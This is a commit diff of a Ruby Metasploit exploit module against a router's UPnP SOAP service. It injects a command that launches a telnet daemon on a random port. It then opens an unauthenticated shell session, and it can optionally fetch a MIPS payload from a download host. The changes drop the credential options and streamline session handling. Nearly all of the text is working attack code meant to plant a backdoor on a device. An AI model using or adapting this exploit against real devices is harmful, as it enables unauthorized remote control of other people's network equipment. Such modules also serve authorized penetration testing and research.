@@ -80,16 +80,14 @@ def initialize(info = {})
80
80
OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to request the MIPS payload from' ] ) ,
81
81
OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
82
82
OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] ) ,
83
- #OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
84
- #OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
85
83
] , self . class )
86
84
end
87
85
88
86
89
87
def request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
90
88
91
89
uri = '/soap.cgi'
92
- data_uri = "?service=WANIPConn1"
90
+ # data_uri = "?service=WANIPConn1"
93
91
94
92
data_cmd = "<?xml version=\" 1.0\" ?>"
95
93
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >"
@@ -170,15 +168,10 @@ def exploit
170
168
end
171
169
172
170
if target . name =~ /Telnet/
173
- #passw = datastore['TELNETPASS'] || rand_text_alpha(8)
174
- #user = datastore['TELNETUSER'] || rand_text_alpha(4)
175
171
telnetport = rand ( 65535 )
176
172
177
- #vprint_status("#{rhost}:#{rport} - User: #{user}")
178
- #vprint_status("#{rhost}:#{rport} - Password: #{passw}")
179
173
vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
180
174
181
- #cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
182
175
cmd = "telnetd -p #{ telnetport } "
183
176
type = "add"
184
177
res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
@@ -197,16 +190,16 @@ def exploit
197
190
if sock
198
191
print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
199
192
else
200
- print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
193
+ fail_with ( Exploit :: Failure :: Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
201
194
end
202
195
203
196
print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } "
204
197
auth_info = {
205
198
:host => rhost ,
206
199
:port => telnetport ,
207
200
:sname => 'telnet' ,
208
- # :user => user ,
209
- # :pass => passw ,
201
+ :user => "" ,
202
+ :pass => "" ,
210
203
:source_type => "exploit" ,
211
204
:active => true
212
205
}
@@ -215,28 +208,12 @@ def exploit
215
208
'USERPASS_FILE' => nil ,
216
209
'USER_FILE' => nil ,
217
210
'PASS_FILE' => nil ,
218
- # 'USERNAME' => user ,
219
- # 'PASSWORD' => passw
211
+ 'USERNAME' => nil ,
212
+ 'PASSWORD' => nil
220
213
}
221
- #taken from ./lib/msf/core/auxiliary/commandshell.rb
222
- info = "TELNET (#{ rhost } :#{ telnetport } )"
223
- sess = Msf ::Sessions ::CommandShell . new ( sock )
224
- sess . set_from_exploit ( self )
225
- sess . info = info
226
-
227
- # Clean up the stored data
228
- sess . exploit_datastore . merge! ( merge_me )
229
-
230
- # Prevent the socket from being closed
231
- self . sockets . delete ( sock )
232
- self . sock = nil if self . respond_to? :sock
233
-
234
- framework . sessions . register ( sess )
235
- sess . process_autoruns ( datastore )
236
-
237
- sess
214
+ start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
238
215
rescue
239
- print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
216
+ fail_with ( Exploit :: Failure :: Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
240
217
end
241
218
return
242
219
end
0 commit comments